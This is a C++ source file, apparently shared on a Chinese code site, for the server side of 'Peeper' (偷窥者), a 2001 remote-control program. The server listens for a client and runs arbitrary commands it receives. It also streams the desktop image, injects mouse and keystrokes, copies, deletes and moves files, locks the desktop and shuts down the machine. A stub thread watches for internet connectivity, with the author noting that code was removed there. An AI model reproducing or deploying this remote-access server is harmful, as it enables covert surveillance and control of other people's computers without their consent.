SocketThread.cpp
上传用户:xztxsm
上传日期:2007-02-12
资源大小:150k
文件大小:17k
源码类别:

远程控制编程

开发平台:

Visual C++

  1. ///////////////////////////////////////////////////////////////////////////////
  2. // 远程控制软件-偷窥者  服务器端                                             //
  3. // 日期:2001/10/02                                                           //
  4. // 作者:刘东发                                                               //
  5. // Email:dongfa@yeah.net                                                     //
  6. // http://dongfa.yeah.net                                                    //
  7. // 作者声明:                                                                 //
  8. //     此部分代码全是作者所写,可以随便传播,但要保持文件的完整性,有问题     //
  9. // 或者意见请来信,谢谢!                                                      //
  10. ///////////////////////////////////////////////////////////////////////////////
  11. #include "stdafx.h"
  12. #include "SocketThread.h"
  13. static CWinThread *g_pSendDIBThread = NULL;
  14. static CWinThread *g_pWaitCommandThread = NULL;
  15. static CWinThread *g_pSendInfoThread = NULL;
  16. static CString     g_strAString = _T("");
  17. static int         g_nAInt = 0;
  18. UINT SendInfoThread(LPVOID lParam)
  19. {
  20. BOOL bSend = FALSE;
  21. while(1)
  22. {
  23. BOOL bOk = ::PL_DetectInternetConnect();
  24. if(bOk)
  25. {
  26. TRACE("网络已连接......n");
  27. if(!bSend)
  28. {
  29. //此处删掉一些代码。。。。。。呵呵~~~~
  30. bSend = bOk;
  31. }
  32. }
  33. else
  34. {
  35. bSend = FALSE;
  36. }
  37. ::Sleep(10000);
  38. }
  39. return 0;
  40. }
  41. UINT WaitCommandThread(LPVOID lParam)
  42. {
  43. BYTE chFlag = (BYTE)lParam;
  44. switch(chFlag)
  45. {
  46. case PL_MSG:
  47. {
  48. if(g_strAString.GetLength() > 0)
  49. {
  50. ::MessageBox(NULL, g_strAString, _T("Warning!"), 
  51. MB_OK | MB_ICONINFORMATION | MB_SYSTEMMODAL);
  52. g_strAString = _T("");
  53. }
  54. }
  55. break ;
  56. case PL_FUNC_EXEC:
  57. {
  58. if(g_strAString.GetLength() > 0)
  59. {
  60. ::PL_ExecuteCommand(g_strAString.GetBuffer(0));
  61. g_strAString.ReleaseBuffer();
  62. g_strAString = _T("");
  63. }
  64. }
  65. break ;
  66. case PL_FUNC_FILE_COPY_S:
  67. {
  68. if(g_strAString.GetLength() > 0 && g_nAInt > 0)
  69. {
  70. ::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), FALSE, NULL);
  71. g_strAString.ReleaseBuffer();
  72. g_strAString = _T("");
  73. g_nAInt = 0;
  74. }
  75. }
  76. break ;
  77. case PL_FUNC_FILE_COPY_C:
  78. {
  79. if(g_strAString.GetLength() > 0 && g_nAInt > 0)
  80. {
  81. ::PL_CopyFileServer(g_nAInt, g_strAString.GetBuffer(0), TRUE, NULL);
  82. g_strAString.ReleaseBuffer();
  83. g_strAString = _T("");
  84. g_nAInt = 0;
  85. }
  86. }
  87. break ;
  88. default :
  89. break ;
  90. }
  91. g_pWaitCommandThread = NULL;
  92. return 0;
  93. }
  94. UINT SendDIBThread(LPVOID lParam)
  95. {
  96. int nRet = -1;
  97. SOCKET s = (SOCKET)lParam;
  98. //wait client receive
  99. BYTE chData[20];
  100. ZeroMemory(chData, 20);
  101. nRet = ::PL_ReadSocketData(s, chData, 20, NULL);
  102. if(nRet > 0)
  103. {
  104. HWND hDesktopWnd = ::GetDesktopWindow();
  105. HBITMAP hBmp = ::PL_GetBitmap(hDesktopWnd);
  106. HDIB hDib = NULL;
  107. PL_ColorType ctColor = *((PL_ColorType *)(chData));
  108. PL_ZipType ztZip = *((PL_ZipType *)(chData+sizeof(PL_ColorType)));
  109. int nBits = 4;
  110. switch(ctColor)
  111. {
  112. case color_1:
  113. {
  114. nBits = 1;
  115. }
  116. break ;
  117. case color_4:
  118. {
  119. nBits = 4;
  120. }
  121. break ;
  122. case color_8:
  123. {
  124. nBits = 8;
  125. }
  126. break ;
  127. case color_24:
  128. {
  129. nBits = 24;
  130. }
  131. break ;
  132. default :
  133. {
  134. nBits = 4;
  135. }
  136. break ;
  137. }
  138. hDib = ::PL_BmpToDIB(hBmp, NULL, nBits);
  139. switch(ztZip)
  140. {
  141. case zip_none:
  142. {
  143. ;
  144. }
  145. break ;
  146. case zip_lz77:
  147. {
  148. HDIB hZipDib = (HDIB)::PL_LZ77_Zip(hDib);
  149. ::GlobalFree(hDib);
  150. hDib = hZipDib;
  151. }
  152. break ;
  153. case zip_lzw:
  154. {
  155. HDIB hZipDib = (HDIB)::PL_LZW_Zip(hDib);
  156. ::GlobalFree(hDib);
  157. hDib = hZipDib;
  158. }
  159. break ;
  160. case zip_jpeg:
  161. {
  162. }
  163. break ;
  164. case zip_lzss:
  165. {
  166. HDIB hZipDib = (HDIB)::PL_LZSS_Zip(hDib);
  167. ::GlobalFree(hDib);
  168. hDib = hZipDib;
  169. }
  170. break ;
  171. case zip_ari:
  172. {
  173. HDIB hZipDib = (HDIB)::PL_ARI_Zip(hDib);
  174. ::GlobalFree(hDib);
  175. hDib = hZipDib;
  176. }
  177. break ;
  178. default :
  179. break ;
  180. }
  181. //send start
  182. SIZE sz = ::PL_GetScreenSize();
  183. int nSize = GlobalSize(hDib);
  184. memcpy(chData, &nSize, sizeof(int));
  185. int cx = sz.cx;
  186. int cy = sz.cy;
  187. memcpy(chData+sizeof(int), &cx, sizeof(int));
  188. memcpy(chData+sizeof(int)*2, &cy, sizeof(int));
  189. nRet = ::PL_SendSocketData(s, chData, sizeof(int)*3, PL_DIB);
  190. //send bits
  191. LPBYTE lpData = (LPBYTE)GlobalLock(hDib);
  192. for(int i = 0; i < nSize/PL_SOCKET_MAXBYTES; i ++)
  193. {
  194. nRet = ::PL_SendSocketData(s, (BYTE *)(lpData+(i*PL_SOCKET_MAXBYTES)), 
  195. PL_SOCKET_MAXBYTES);
  196. }
  197. int nRem = nSize - nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES;
  198. nRet = ::PL_SendSocketData(s, (BYTE *)(lpData + nSize/PL_SOCKET_MAXBYTES*PL_SOCKET_MAXBYTES), nRem);
  199. GlobalUnlock(hDib);
  200. ::DeleteObject(hBmp);
  201. GlobalFree(hDib);
  202. }
  203. g_pSendDIBThread = NULL;
  204. return 0;
  205. }
  206. CSocketThread::CSocketThread(UINT uPort)
  207. {
  208. m_uPort = uPort;
  209. m_sckClient[0] = INVALID_SOCKET;
  210. m_sckClient[1] = INVALID_SOCKET;
  211. m_sckServer = INVALID_SOCKET;
  212. m_nBits = 4;
  213. }
  214. CSocketThread::~CSocketThread()
  215. {
  216. if(g_pSendInfoThread != NULL)
  217. {
  218. ::TerminateThread(g_pSendInfoThread->m_hThread, 0);
  219. ::WaitForSingleObject(g_pSendInfoThread->m_hThread, INFINITE);
  220. g_pSendInfoThread = NULL;
  221. }
  222. ::PL_TermSocket();
  223. ExitServer();
  224. }
  225. int CSocketThread::Run()
  226. {
  227. g_pSendInfoThread = AfxBeginThread(SendInfoThread, NULL, THREAD_PRIORITY_IDLE);
  228. while(1)
  229. {
  230. if(CreateServer())
  231. {
  232. BYTE *chData = new BYTE[PL_SOCKET_MAXBYTES+1];
  233. while(1)
  234. {
  235. ZeroMemory(chData, PL_SOCKET_MAXBYTES+1);
  236. int nRet = ::PL_ReadSocketData(m_sckClient[0], chData, PL_SOCKET_MAXBYTES, NULL);
  237. if(nRet != SOCKET_ERROR)
  238. {
  239. // 处理命令
  240. nRet = DoReceive(chData, nRet);
  241. }
  242. else
  243. {
  244. TRACE(_T("接收数据错误,客户已经断开了......n"));
  245. break ;
  246. }
  247. }
  248. delete []chData;
  249. chData = NULL;
  250. }
  251. ExitServer();
  252. }
  253. return ExitInstance();
  254. }
  255. int CSocketThread::DoReceive(BYTE *chData, int nLen)
  256. {
  257. int nRet = 0;
  258. switch(chData[0])//第一个字符为命令
  259. {
  260. case PL_PEEPER_VER://取服务端版本
  261. {
  262. char chTemp[15];
  263. ZeroMemory(chTemp, 15);
  264. sprintf(chTemp, "%s", PEEPER_SERVER_VER_15);
  265. ::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp), 
  266. PL_PEEPER_VER);
  267. }
  268. break ;
  269. case PL_CLOSE_PEEPER://关闭服务,退出程序
  270. {
  271. ExitServer();
  272. ExitThread(0);
  273. }
  274. break ;
  275. case PL_CLIENT_CLOSE://关闭连接
  276. {
  277. ExitServer();
  278. }
  279. break ;
  280. case PL_MSG://显示一个对话框信息,使用了线程
  281. {
  282. g_strAString.Format(_T("%s"), chData+1);
  283. if(g_pWaitCommandThread != NULL)
  284. {
  285. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  286. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  287. g_pWaitCommandThread = NULL;
  288. }
  289. g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_MSG);
  290. }
  291. break ;
  292. case PL_DIB://获得桌面图像
  293. {
  294. if(g_pSendDIBThread != NULL)
  295. {
  296. ::TerminateThread(g_pSendDIBThread->m_hThread, 0);
  297. ::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
  298. g_pSendDIBThread = NULL;
  299. }
  300. g_pSendDIBThread = AfxBeginThread(SendDIBThread, (LPVOID)m_sckClient[1]);
  301. }
  302. break ;
  303. case PL_DIB_BITS://桌面图像颜色数
  304. {
  305. m_nBits = *((int*)(chData+1));
  306. }
  307. break ;
  308. case PL_SCREEN_SIZE://显示器分辨率
  309. {
  310. int cx = ::GetSystemMetrics(SM_CXSCREEN);
  311. int cy = ::GetSystemMetrics(SM_CYSCREEN);
  312. BYTE chTemp[15];
  313. ZeroMemory(chTemp, 15);
  314. memcpy(chTemp, &cx, sizeof(int));
  315. memcpy(chTemp + sizeof(int), &cy, sizeof(int));
  316. ::PL_SendSocketData(m_sckClient[0], chTemp, sizeof(int)*2);
  317. }
  318. case PL_MOUSE_MOVE://鼠标移动
  319. {
  320. POINT point;
  321. point.x = *((int *)(chData+1));
  322. point.y = *((int *)(chData+1+sizeof(int)));
  323. ::PL_MouseMove(point);
  324. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  325. }
  326. break ;
  327. case PL_MOUSE_LBUTTONDOWN://鼠标左键按下
  328. {
  329. POINT point;
  330. point.x = *((int *)(chData+1));
  331. point.y = *((int *)(chData+1+sizeof(int)));
  332. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  333. bMouseMove = !!bMouseMove;
  334. ::PL_MouseLButtonDown(point, bMouseMove);
  335. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  336. }
  337. break ;
  338. case PL_MOUSE_LBUTTONUP://鼠标左键弹起
  339. {
  340. POINT point;
  341. point.x = *((int *)(chData+1));
  342. point.y = *((int *)(chData+1+sizeof(int)));
  343. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  344. bMouseMove = !!bMouseMove;
  345. ::PL_MouseLButtonUp(point, bMouseMove);
  346. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  347. }
  348. break ;
  349. case PL_MOUSE_RBUTTONDOWN://鼠标右键按下
  350. {
  351. POINT point;
  352. point.x = *((int *)(chData+1));
  353. point.y = *((int *)(chData+1+sizeof(int)));
  354. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  355. bMouseMove = !!bMouseMove;
  356. ::PL_MouseRButtonDown(point, bMouseMove);
  357. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  358. }
  359. break ;
  360. case PL_MOUSE_RBUTTONUP://鼠标右键弹起
  361. {
  362. POINT point;
  363. point.x = *((int *)(chData+1));
  364. point.y = *((int *)(chData+1+sizeof(int)));
  365. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  366. bMouseMove = !!bMouseMove;
  367. ::PL_MouseRButtonUp(point, bMouseMove);
  368. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  369. }
  370. break ;
  371. case PL_MOUSE_LDBLCLK://鼠标左键双击
  372. {
  373. POINT point;
  374. point.x = *((int *)(chData+1));
  375. point.y = *((int *)(chData+1+sizeof(int)));
  376. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  377. bMouseMove = !!bMouseMove;
  378. ::PL_MouseLButtonDblClk(point, bMouseMove);
  379. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  380. }
  381. break ;
  382. case PL_MOUSE_RDBLCLK://鼠标右键双击
  383. {
  384. POINT point;
  385. point.x = *((int *)(chData+1));
  386. point.y = *((int *)(chData+1+sizeof(int)));
  387. BOOL bMouseMove = *((BOOL*)(chData+1+sizeof(int)*2));
  388. bMouseMove = !!bMouseMove;
  389. ::PL_MouseRButtonDblClk(point, bMouseMove);
  390. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  391. }
  392. break ;
  393. case PL_KEY_DOWN://一个键被按下
  394. {
  395. UINT uChar = *((UINT *)(chData+1));
  396. UINT uFlag = *((UINT *)(chData+sizeof(UINT)+1));
  397. ::PL_KeyDown(uChar, uFlag);
  398. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  399. }
  400. break ;
  401. case PL_KEY_UP://一个键被弹起
  402. {
  403. UINT uChar = *((UINT *)(chData+1));
  404. UINT uFlag = *((UINT *)(chData+sizeof(UINT)+1));
  405. ::PL_KeyUp(uChar, uFlag);
  406. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  407. }
  408. break ;
  409. case PL_FUNC_EXEC://执行一条命令,使用了线程
  410. {
  411. g_strAString.Format(_T("%s"), chData+1);
  412. if(g_pWaitCommandThread != NULL)
  413. {
  414. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  415. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  416. g_pWaitCommandThread = NULL;
  417. }
  418. g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, (LPVOID)PL_FUNC_EXEC);
  419. }
  420. break ;
  421. case PL_FUNC_LOCK://锁定桌面
  422. {
  423. BOOL bLock = *((BOOL*)(chData+1));
  424. ::PL_LockDesktop(!!bLock);
  425. }
  426. break ;
  427. case PL_FUNC_EXITWIN://关机/重启/注销
  428. {
  429. UINT uFlag = *((UINT *)(chData+1));
  430. ::PL_ExitWindow(uFlag);
  431. }
  432. break ;
  433. case PL_FUNC_CTRL_ALT_DEL://热启动,暂且不行
  434. {
  435. ::PL_Send_CtrlAltDel();
  436. }
  437. break ;
  438. case PL_FUNC_FILE_COPY_S://传送文件
  439. {
  440. char chFile[255];
  441. ZeroMemory(chFile, 255);
  442. sprintf(chFile, "%s", chData+1);
  443. BYTE chTemp[10];
  444. ZeroMemory(chTemp, 10);
  445. int nRet = ::PL_ReadSocketData(m_sckClient[0], chTemp, 10);
  446. if(nRet > 0)
  447. {
  448. nRet = ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  449. g_nAInt = *((int*)(chTemp));
  450. g_strAString.Format(_T("%s"), chFile);
  451. if(g_pWaitCommandThread != NULL)
  452. {
  453. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  454. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  455. g_pWaitCommandThread = NULL;
  456. }
  457. g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, 
  458. (LPVOID)PL_FUNC_FILE_COPY_S);
  459. }
  460. }
  461. break ;
  462. case PL_FUNC_FILE_COPY_C:
  463. {
  464. char chFile[255];
  465. ZeroMemory(chFile, 255);
  466. sprintf(chFile, "%s", chData+1);
  467. BYTE chTemp[10];
  468. ZeroMemory(chTemp, 10);
  469. int nRet = ::PL_ReadSocketData(m_sckClient[0], chTemp, 10);
  470. if(nRet > 0)
  471. {
  472. nRet = ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP);
  473. g_nAInt = *((int*)(chTemp));
  474. g_strAString.Format(_T("%s"), chFile);
  475. if(g_pWaitCommandThread != NULL)
  476. {
  477. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  478. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  479. g_pWaitCommandThread = NULL;
  480. }
  481. g_pWaitCommandThread = AfxBeginThread(WaitCommandThread, 
  482. (LPVOID)PL_FUNC_FILE_COPY_C);
  483. }
  484. }
  485. break ;
  486. case PL_FUNC_FILE_DELETE:
  487. {
  488. char chFile[255];
  489. ZeroMemory(chFile, 255);
  490. sprintf(chFile, "%s", chData+1);
  491. BOOL bRet = ::PL_DeleteFile(chFile);
  492. ZeroMemory(chFile, 255);
  493. memcpy(chFile, &bRet, sizeof(BOOL));
  494. ::PL_SendSocketData(m_sckClient[0], (BYTE*)chFile, sizeof(BOOL), PL_RETURN_BOOL);
  495. }
  496. break ;
  497. case PL_FUNC_FILE_MOVE:
  498. {
  499. char chSrcFile[255];
  500. ZeroMemory(chSrcFile, 255);
  501. sprintf(chSrcFile, "%s", chData+1);
  502. char chDesFile[255];
  503. ZeroMemory(chDesFile, 255);
  504. nRet = ::PL_ReadSocketData(m_sckClient[0], (BYTE*)chDesFile, 255, NULL);
  505. if(nRet >  0)
  506. {
  507. BOOL bRet = ::PL_MoveFile(chSrcFile, chDesFile);
  508. ZeroMemory(chSrcFile, 255);
  509. memcpy(chSrcFile, &bRet, sizeof(BOOL));
  510. ::PL_SendSocketData(m_sckClient[0], (BYTE*)chSrcFile, 
  511. sizeof(BOOL), PL_RETURN_BOOL);
  512. }
  513. }
  514. break ;
  515. default :
  516. break ;
  517. }
  518. return nRet;
  519. }
  520. BOOL CSocketThread::CreateServer()
  521. {
  522. BOOL bRet = FALSE;
  523. bRet = ::PL_InitSocket();
  524. if(!bRet)
  525. {
  526. return bRet;
  527. }
  528. char chName[256];
  529. sockaddr_in addr;
  530. hostent* pEnt = NULL;
  531. int addrlen = 0, nRet = 0;
  532. nRet = ::gethostname(chName, 256);
  533. if(nRet == 0)
  534. {
  535. m_sckServer = socket(AF_INET, SOCK_STREAM, 0);
  536. if(m_sckServer != INVALID_SOCKET)
  537. {
  538. pEnt = ::gethostbyname(chName);
  539. if(pEnt)
  540. {
  541. addr.sin_family = AF_INET;
  542. addr.sin_port = htons(m_uPort);
  543. addr.sin_addr.s_addr = INADDR_ANY;
  544. nRet = ::bind(m_sckServer, (sockaddr*)&addr, sizeof(addr));
  545. if(nRet != SOCKET_ERROR)
  546. {
  547. nRet = ::listen(m_sckServer, SOMAXCONN);
  548. if(nRet != SOCKET_ERROR)
  549. {
  550. addrlen = sizeof(addr);
  551. TRACE(_T("开始了服务,等待客户......n"));
  552. m_sckClient[0] = ::accept(m_sckServer, (sockaddr*)&addr, &addrlen);
  553. if(m_sckClient[0] != INVALID_SOCKET)
  554. {
  555. //为了同步
  556. ::PL_SendSocketData(m_sckClient[0], NULL, 0, PL_TEMP, MSG_OOB);
  557. }
  558. m_sckClient[1] = ::accept(m_sckServer, (sockaddr*)&addr, &addrlen);
  559. if(m_sckClient[0] != INVALID_SOCKET &&
  560.    m_sckClient[1] != INVALID_SOCKET)
  561. {
  562. TRACE(_T("客户连接上了.......n"));
  563. char chTemp[256];
  564. ZeroMemory(chTemp, 256);
  565. sockaddr_in name1;
  566. sockaddr_in name2;
  567. int nSize = sizeof(sockaddr_in);
  568. int nRet1 = ::getpeername(m_sckClient[0], (sockaddr*)&name1, &nSize);
  569. int nRet2 = ::getpeername(m_sckClient[1], (sockaddr*)&name2, &nSize);
  570. if(nRet1 == 0 && nRet2 == 0)
  571. {
  572. sprintf(chTemp, "Connect is OK.rnServer Computer Name:%s,IP:%d.%d.%d.%d,Port:%d.rnClient[0]:IP=%d.%d.%d.%d  Port=%d.rnClient[1]:IP=%d.%d.%d.%d  Port=%d.",
  573. chName,
  574. (unsigned char)(pEnt->h_addr_list[0][0]),
  575. (unsigned char)(pEnt->h_addr_list[0][1]),
  576. (unsigned char)(pEnt->h_addr_list[0][2]),
  577. (unsigned char)(pEnt->h_addr_list[0][3]),
  578. m_uPort,
  579. name1.sin_addr.S_un.S_un_b.s_b1,
  580. name1.sin_addr.S_un.S_un_b.s_b2,
  581. name1.sin_addr.S_un.S_un_b.s_b3,
  582. name1.sin_addr.S_un.S_un_b.s_b4,
  583. name1.sin_port,
  584. name2.sin_addr.S_un.S_un_b.s_b1,
  585. name2.sin_addr.S_un.S_un_b.s_b2,
  586. name2.sin_addr.S_un.S_un_b.s_b3,
  587. name2.sin_addr.S_un.S_un_b.s_b4,
  588. name2.sin_port);
  589. }
  590. else
  591. {
  592. strcpy(chTemp, "Connect is OK.");
  593. }
  594. nRet = ::PL_SendSocketData(m_sckClient[0], (BYTE *)chTemp, strlen(chTemp)+1, MSG_OOB);
  595. bRet = TRUE;
  596. }
  597. }
  598. }
  599. }
  600. }
  601. }
  602. return bRet;
  603. }
  604. BOOL CSocketThread::ExitServer()
  605. {
  606. TRACE(_T("退出服务,重新等待连接......n"));
  607. if(g_pSendDIBThread != NULL)
  608. {
  609. ::TerminateThread(g_pSendDIBThread->m_hThread, 0);
  610. ::WaitForSingleObject(g_pSendDIBThread->m_hThread, INFINITE);
  611. g_pSendDIBThread = NULL;
  612. }
  613. if(g_pWaitCommandThread != NULL)
  614. {
  615. ::TerminateThread(g_pWaitCommandThread->m_hThread, 0);
  616. ::WaitForSingleObject(g_pWaitCommandThread->m_hThread, INFINITE);
  617. g_pWaitCommandThread = NULL;
  618. }
  619. if(m_sckClient[0] != INVALID_SOCKET)
  620. {
  621. ::closesocket(m_sckClient[0]);
  622. }
  623. if(m_sckClient[1] != INVALID_SOCKET)
  624. {
  625. ::closesocket(m_sckClient[1]);
  626. }
  627. if(m_sckServer != INVALID_SOCKET)
  628. {
  629. ::closesocket(m_sckServer);
  630. }
  631. m_sckClient[0] = INVALID_SOCKET;
  632. m_sckClient[1] = INVALID_SOCKET;
  633. m_sckServer = INVALID_SOCKET;
  634. return TRUE;
  635. }